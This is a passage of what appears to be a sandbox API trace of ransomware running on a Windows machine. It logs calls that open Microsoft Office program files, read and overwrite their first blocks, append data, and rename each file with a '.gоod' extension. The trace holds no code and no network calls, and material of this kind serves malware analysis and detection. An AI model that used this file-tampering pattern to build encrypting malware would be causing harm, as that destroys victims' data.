lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x8240 [0182.425] WriteFile (in: hFile=0x7c8, lpBuffer=0x3724e38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3724e38*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0182.425] CloseHandle (hObject=0x7c8) returned 1 [0182.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", lpFilePart=0x0) returned 0x3c [0182.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.426] GetFileType (hFile=0x7c8) returned 0x1 [0182.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.426] GetFileType (hFile=0x7c8) returned 0x1 [0182.426] ReadFile (in: hFile=0x7c8, lpBuffer=0x37270e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x37270e8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0182.606] CloseHandle (hObject=0x7c8) returned 1 [0182.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", lpFilePart=0x0) returned 0x3c [0182.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.610] GetFileType (hFile=0x7c8) returned 0x1 [0182.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.610] GetFileType (hFile=0x7c8) returned 0x1 [0182.610] WriteFile (in: hFile=0x7c8, lpBuffer=0x352f070*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x352f070*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0182.611] CloseHandle (hObject=0x7c8) returned 1 [0182.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", lpFilePart=0x0) returned 0x3c [0182.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe.gоod", lpFilePart=0x0) returned 0x41 [0182.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0182.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe289dd92, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe289dd92, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x690f55ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8250)) returned 1 [0182.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0182.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe.gоod")) returned 1 [0182.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", lpFilePart=0x0) returned 0x3b [0182.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0182.612] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), fInfoLevelId=0x0, lpFileInformation=0x3588a20 | out: lpFileInformation=0x3588a20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd)) returned 1 [0182.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0182.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", lpFilePart=0x0) returned 0x3b [0182.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.613] GetFileType (hFile=0x7c8) returned 0x1 [0182.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.613] GetFileType (hFile=0x7c8) returned 0x1 [0182.613] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0182.613] ReadFile (in: hFile=0x7c8, lpBuffer=0x3588df8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3588df8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0182.614] CloseHandle (hObject=0x7c8) returned 1 [0182.615] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", lpFilePart=0x0) returned 0x3b [0182.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.615] GetFileType (hFile=0x7c8) returned 0x1 [0182.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.615] GetFileType (hFile=0x7c8) returned 0x1 [0182.615] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x9bddd [0182.615] WriteFile (in: hFile=0x7c8, lpBuffer=0x358a070*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x358a070*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0182.617] CloseHandle (hObject=0x7c8) returned 1 [0182.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", lpFilePart=0x0) returned 0x3b [0182.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.617] GetFileType (hFile=0x7c8) returned 0x1 [0182.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.617] GetFileType (hFile=0x7c8) returned 0x1 [0182.617] ReadFile (in: hFile=0x7c8, lpBuffer=0x358c4f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x358c4f0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0183.470] CloseHandle (hObject=0x7c8) returned 1 [0183.470] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", lpFilePart=0x0) returned 0x3b [0183.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0183.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0183.470] GetFileType (hFile=0x7c8) returned 0x1 [0183.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0183.470] GetFileType (hFile=0x7c8) returned 0x1 [0183.470] WriteFile (in: hFile=0x7c8, lpBuffer=0x3557b78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3557b78*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0183.471] CloseHandle (hObject=0x7c8) returned 1 [0183.471] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man", lpFilePart=0x0) returned 0x3b [0183.471] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.gоod", lpFilePart=0x0) returned 0x40 [0183.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0183.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69927643, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9bded)) returned 1 [0183.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0183.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man.gоod")) returned 1 [0183.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", lpFilePart=0x0) returned 0x3c [0183.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0183.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), fInfoLevelId=0x0, lpFileInformation=0x36b3a50 | out: lpFileInformation=0x36b3a50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x23a373ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c40)) returned 1 [0183.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0183.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", lpFilePart=0x0) returned 0x3c [0183.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0183.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0183.474] GetFileType (hFile=0x7c8) returned 0x1 [0183.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0183.474] GetFileType (hFile=0x7c8) returned 0x1 [0183.474] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0183.474] ReadFile (in: hFile=0x7c8, lpBuffer=0x36b3e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x36b3e48*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0183.475] CloseHandle (hObject=0x7c8) returned 1 [0183.476] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", lpFilePart=0x0) returned 0x3c [0183.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0183.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0183.476] GetFileType (hFile=0x7c8) returned 0x1 [0183.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0183.476] GetFileType (hFile=0x7c8) returned 0x1 [0183.476] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x2e0c40 [0183.476] WriteFile (in: hFile=0x7c8, lpBuffer=0x36b50d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x36b50d0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0183.477] CloseHandle (hObject=0x7c8) returned 1 [0183.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", lpFilePart=0x0) returned 0x3c [0183.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0183.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0183.478] GetFileType (hFile=0x7c8) returned 0x1 [0183.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0183.478] GetFileType (hFile=0x7c8) returned 0x1 [0183.478] ReadFile (in: hFile=0x7c8, lpBuffer=0x36b73b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x36b73b0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0184.782] CloseHandle (hObject=0x7c8) returned 1 [0184.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", lpFilePart=0x0) returned 0x3c [0184.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0184.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0184.782] GetFileType (hFile=0x7c8) returned 0x1 [0184.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0184.782] GetFileType (hFile=0x7c8) returned 0x1 [0184.782] WriteFile (in: hFile=0x7c8, lpBuffer=0x35982a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x35982a8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0184.782] CloseHandle (hObject=0x7c8) returned 1 [0184.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", lpFilePart=0x0) returned 0x3c [0184.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.gоod", lpFilePart=0x0) returned 0x41 [0184.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0184.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x23a373ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a5b1e6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c50)) returned 1 [0184.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0184.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe.gоod")) returned 1 [0184.783] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", lpFilePart=0x0) returned 0x3b [0184.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0184.784] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), fInfoLevelId=0x0, lpFileInformation=0x360fcd0 | out: lpFileInformation=0x360fcd0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2415e4bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2466f613, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3840a8)) returned 1 [0184.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0184.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", lpFilePart=0x0) returned 0x3b [0184.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0184.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0184.784] GetFileType (hFile=0x7c8) returned 0x1 [0184.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0184.784] GetFileType (hFile=0x7c8) returned 0x1 [0184.784] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0184.785] ReadFile (in: hFile=0x7c8, lpBuffer=0x36100a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x36100a8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0184.786] CloseHandle (hObject=0x7c8) returned 1 [0184.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", lpFilePart=0x0) returned 0x3b [0184.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0184.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0184.786] GetFileType (hFile=0x7c8) returned 0x1 [0184.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0184.786] GetFileType (hFile=0x7c8) returned 0x1 [0184.786] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x3840a8 [0184.786] WriteFile (in: hFile=0x7c8, lpBuffer=0x3611320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3611320*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0184.788] CloseHandle (hObject=0x7c8) returned 1 [0184.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", lpFilePart=0x0) returned 0x3b [0184.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0184.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0184.788] GetFileType (hFile=0x7c8) returned 0x1 [0184.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0184.788] GetFileType (hFile=0x7c8) returned 0x1 [0184.788] ReadFile (in: hFile=0x7c8, lpBuffer=0x36135c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x36135c0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0185.762] CloseHandle (hObject=0x7c8) returned 1 [0185.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", lpFilePart=0x0) returned 0x3b [0185.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0185.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 